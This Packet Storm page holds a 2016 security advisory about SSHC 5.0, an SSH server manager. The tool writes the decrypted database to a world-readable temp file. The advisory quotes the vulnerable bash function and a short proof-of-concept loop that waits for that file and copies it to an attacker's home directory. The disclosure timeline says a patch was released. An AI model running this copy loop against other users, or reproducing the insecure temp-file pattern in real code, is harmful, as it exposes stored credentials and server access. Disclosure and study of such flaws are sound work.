exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

SSHC 5.0 Encrypted Database Content Stealing

SSHC 5.0 Encrypted Database Content Stealing
Posted Jun 22, 2016
Authored by Mickael Dorigny

SSHC version 5.0 is susceptible to an encrypted database content theft vulnerability.

tags | exploit
SHA-256 | b65f0bcd7a1b909d9cb74e42f7e28b4350fbff790f58e10c2ce3ecbc6b8ec091

SSHC 5.0 Encrypted Database Content Stealing

Change Mirror Download
######################################################################
# Exploit Title: SSHC v5.0 encrypted database content stealing
# Date: 03/06/2016
# Author: Mickael Dorigny @ Synetis
# Vendor or Software Link: https://github.com/e2ma3n/sshc
# Version: 0.5
# Category: data theft
######################################################################

SSHC description :
======================================================================
When number of accesses to ssh gets high, managment gets hard, so in this time you can use this program for managing servers. By using this program you can select your server from menu and connect to server without password or add public ip address to server's firewall (iptables).

Vulnerabilities description :
======================================================================
SSHC v5.0 is vulnerable to encrypted database content stealing, this vulnerability target the main purpose of this usefull tool.

Poc n°1 : encrypted database content stealing
======================================================================
When a user wants to edit a database (represented as a encrypted file on the disk), sshc make a clear text copy of the encrypted database in a file with a hardcoded name and path. Another user who works on the same system just have to be patient and wait for the victim to edit his database, the attacker then just have to copy the "temporary" file from hsi hardcoded location.

The following part of the code is responsible of this vulnerability :

1 # edite database
2 function edit_db {
3 echo "$database_de" > /opt/sshc_v5/sshc.database.de
4 nano /opt/sshc_v5/sshc.database.de
5 echo -en "[+] encrypt new database, Please type your password: " ; read -s pass
6 openssl aes-256-cbc -pass pass:$pass -a -salt -in /opt/sshc_v5/sshc.database.de -out $database_en
7 rm -f /opt/sshc_v5/sshc.database.de &> /dev/null
8 echo -e "\n[+] Done, New database saved and encrypted"
9 echo '[+] ------------------------------------------------------------------- [+]'
10 exit 0
11 }

When a user wants to edit a database (represented as a encrypted file on the disk), sshc makes a clear text copy of the encrypted database in a file with a hard-coded name and path. Another user who works on the same system just have to be patient and wait for the victim to edit his database, the attacker then just have to copy the "temporary" clear text file from his hardcoded location.

Note that, with UNIX default umask configuration, the created file "/opt/sshc_v5/sshc.database.de" have the following permission "-rw-r--r--" wich allow it to be readed by all users.

This little bash script can be launched by another user that is on the same system that the victim:
#!/bin/bash
while [ ! -f /opt/sshc_v5/sshc.database.de ] ;
do
sleep 1;
done
cp /opt/sshc_v5/sshc.database.de ~/sshc_database.de

It just wait for the file to be created and when it detect it, it just copy the file in the attacker home directory.

Moreover, this vulnerability can be exploited from a remote host if combined with a local fil inclusion in a web application (for example).

Solution:
======================================================================
- Update your SSHC tool to the patched version


Additional resources :
======================================================================
- https://www.youtube.com/watch?v=6VA9Z0O9JBg
- https://www.information-security.fr/sshc-faille-decouverte-via-audit-de-code/
- https://github.com/e2ma3n/sshc

Report timeline :
======================================================================
2016-06-03 : Advisory submitted to editor
2016-06-15 : Vulnerability patch released on SSHC Github
2016-06-22 : Advisory public release

Credits :
======================================================================
Mickael Dorigny - Security Consultant @ Synetis | Information-Security.fr

My Packet Storm Security profile : https://packetstormsecurity.com/files/author/12112/

--
SYNETIS
CONTACT: www.synetis.com | www.information-security.fr
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close